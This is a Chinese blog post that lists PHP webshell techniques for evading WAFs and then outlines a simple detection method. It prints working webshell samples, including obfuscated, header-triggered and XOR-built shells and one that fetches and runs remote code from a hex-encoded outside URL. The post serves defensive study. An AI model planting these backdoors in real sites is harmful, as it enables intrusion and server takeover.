PHP常见过waf webshell以及最简单的检测方法


Posted in PHP onMay 21, 2019

前言

之前在Webshell查杀的新思路中留了一个坑 ️,当时没有找到具体找到全部变量的方法,后来通过学习找到了个打印全部量的方法,并再次学习了下PHP webshell绕过WAF的方法,以此来验证下此方法是否合理。

如有错误,还请指出,不胜感激! :turtle:拜

在那篇文章中我突然想到一种检测webshell的方法,就是首先获取到当前文件中的所有变量(不明白的可以先去看下之前的文章),然后再根据正则库进行静态检测。

自认为这种方法虽然会检测不完全(每个检测机制都不能保障全部有效),但是感觉非常简单、实用,也没那么多高深的道理。

为了验证该检测机制,首先了解下目前PHP webshell绕过WAF的方法。

常见绕过WAF的PHP webshell

字符串变形

大小写、编码、截取、替换、特殊字符拼接、null、回车、换行、特殊字符串干扰

<?php
$a = base64_decode("YXNzYXNz+00000____");
$a = substr_replace($a,"ert",3);
$a($_POST['x']);
?>

ucwords()
ucfirst()
trim()
substr_replace()
substr()
strtr()
strtoupper()
strtolower()
strtok()
str_rot13()
chr()
gzcompress()、gzdeflate()、gzencode()
gzuncompress()、gzinflate()、gzdecode()
base64_encode()
base64_decode()
pack()
unpack()

自写函数

利用 assert()

<?php 
function test($a){
  $a($_POST['x']);
}
test(assert);
?>

回调函数

<?php 
call_user_func(assert,array($_POST[x]));
?>

call_user_func_array()
array_filter() 
array_walk() 
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
array_reduce()
array_walk() 
array_walk_recursive()
forward_static_call_array()


利用魔术方法、析构函数 __destruct() , __construct()

<?php 
class test
{
 public $a = '';
 function __destruct(){
  assert("$this->a");
 }
}
$b = new test;
$b->a = $_POST['x'];
?>

利用外部文件

利用 curl , fsockopen 等发起网络请求再结合 file_get_contents

<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f7777772e77326e31636b2e636f6d2f7368656c6c2f312e6a7067'),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>

无字符特征马

编码、异或、自增

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>

特殊请求头

利用 getallheaders()

<?php
$cai=getallheaders()['cai'];
$dao=getallheaders()['dao'];
if($cai!="" and $dao!=""){
 $cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao)));
}
header('HTTP/1.1 404 Not Found');
?>

全局变量

利用 getenv() , arrag_flip() , get_defined_vars() , session_id()

import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "phpinfo();".encode('hex')
cookies = {
 'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

PHP混淆加解密

以phpjiami为例

就是将函数名、变量名全部变成”乱码”,且改动任意一个地方,都将导致文件不能运行。具体可访问: https://www.phpjiami.com/

PHP webshell检测方法

目前我所了解的webshell检测方式有:

  1. 机器学习检测webshell:比如混淆度、最长单词、重合指数、特征、压缩比等
  2. 动态检测(沙箱)
  3. 基于流量模式检测webshell:agent
  4. 逆向算法+静态匹配检测webshell:比如D盾webshell查杀
  5. 根据文件入度出度来检测

实例展示

这里以PHPjiami的webshell为例,其中 2.php 即为phpjiama的木马

PHP常见过waf webshell以及最简单的检测方法

可以明显看到明显的webshell规则了,这样再用静态规则、正则等即可轻松检测到。

简单检测思路

检测思路:

文件上传->文件包含->获取所有文件中的变量到临时文件中->静态规则匹配临时文件->返回匹配结果

├── __init__.py
├── conf
│   ├── __init__.py
│   ├── config.py
├── core
│   ├── __init__.py
│   ├── all_check.py
│   ├── data_mysql.py
│   └── file_inotify.py
├── lib
│   ├── __init__.py
│   └── semantic_analysis_api.py
├── test
│   ├── __init__.py
│   ├── file_md5_move.py
│   ├── os_check.py
│   ├── random_file_test.py
│   └── ...
├── web
│   ├── static
│   │   ├── css
│   │   │   ├── main.css
│   │   ├── images
│   │   │   └── background.jpg
│   │   └── js
│   │       └── upload.js
│   ├── templates
│   │   ├── index.html
│   ├── upload_file.php
│   └── include_file_to_tmp.php
├── webshell_check.py

conf中包含的是诸如下列的静态检测规则

PHP常见过waf webshell以及最简单的检测方法

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。

PHP 相关文章推荐
PHP Array交叉表实现代码
Aug 05 PHP
php中如何同时使用session和cookie来保存用户登录信息
Jul 05 PHP
PHP自动生成后台导航网址的最佳方法
Aug 27 PHP
php获得用户ip地址的比较不错的方法
Feb 08 PHP
php通过递归方式复制目录和子目录的方法
Mar 13 PHP
PHP概率计算函数汇总
Sep 13 PHP
PHP简单实现生成txt文件到指定目录的方法
Apr 25 PHP
zend框架实现支持sql server的操作方法
Dec 08 PHP
微信公众平台开发-微信服务器IP接口实例(含源码)
Mar 05 PHP
php表单文件iframe异步上传实例讲解
Jul 26 PHP
PHP读取并输出XML文件数据的简单实现方法
Dec 22 PHP
php处理多图上传压缩代码功能
Jun 13 PHP
PHP __call()方法实现委托示例
May 20 #PHP
PHP消息队列实现及应用详解【队列处理订单系统和配送系统】
May 20 #PHP
PHP常量define和const的区别详解
May 18 #PHP
thinkphp5框架实现的自定义扩展类操作示例
May 16 #PHP
java解析json方法总结
May 16 #PHP
微信支付之JSAPI公众号支付详解
May 15 #PHP
php获取目录下所有文件及目录(多种方法)(推荐)
May 14 #PHP
You might like
PHP 计算代码执行耗时的代码修正网上普遍错误
2011/05/14 PHP
基于MySQL分区性能的详细介绍
2013/05/02 PHP
PHP实现批量生成App各种尺寸Logo
2015/03/19 PHP
php 判断过去离现在几年的函数(实例代码)
2016/11/15 PHP
php输出含有“#”字符串的方法
2017/01/18 PHP
详细解读php的命名空间(二)
2018/02/21 PHP
PHP设计模式之适配器模式(Adapter)原理与用法详解
2019/12/12 PHP
可恶的ie8提示缺少id未定义
2014/03/20 Javascript
iframe如何动态创建及释放其所占内存
2014/09/03 Javascript
vue数据双向绑定原理解析(get &amp; set)
2017/03/08 Javascript
vue如何实现observer和watcher源码解析
2017/03/09 Javascript
nodejs集成sqlite使用示例
2017/06/05 NodeJs
BootStrap Table前台和后台分页对JSON格式的要求
2017/06/28 Javascript
使用pm2部署node生产环境的方法步骤
2019/03/09 Javascript
React+Antd+Redux实现待办事件的方法
2019/03/14 Javascript
JavaScript实现横版菜单栏
2020/03/17 Javascript
vue中渲染对象中属性时显示未定义的解决
2020/07/31 Javascript
vue中axios封装使用的完整教程
2021/03/03 Vue.js
[45:40]Ti4 冒泡赛第二天NEWBEE vs NaVi 1
2014/07/15 DOTA
Python计算三角函数之asin()方法的使用
2015/05/15 Python
Pyspider中给爬虫伪造随机请求头的实例
2018/05/07 Python
python寻找list中最大值、最小值并返回其所在位置的方法
2018/06/27 Python
pandas DataFrame 交集并集补集的实现
2019/06/24 Python
python实现按行分割文件
2019/07/22 Python
Python 3.8正式发布重要新功能一览
2019/10/17 Python
python几种常用功能实现代码实例
2019/12/25 Python
用python按照图像灰度值统计并筛选图片的操作(PIL,shutil,os)
2020/06/04 Python
Notino罗马尼亚网站:购买香水和化妆品
2019/07/20 全球购物
波兰在线杂货店:Polski Koszyk
2019/11/02 全球购物
资料员的岗位职责
2013/11/20 职场文书
师范学院毕业生求职信范文
2013/12/26 职场文书
财务管理职业生涯规划范文
2013/12/27 职场文书
经典洗发水广告词
2014/03/13 职场文书
银行柜员优质服务心得体会
2016/01/22 职场文书
学校教代会开幕词
2016/03/04 职场文书
Python机器学习之基础概述
2021/05/19 Python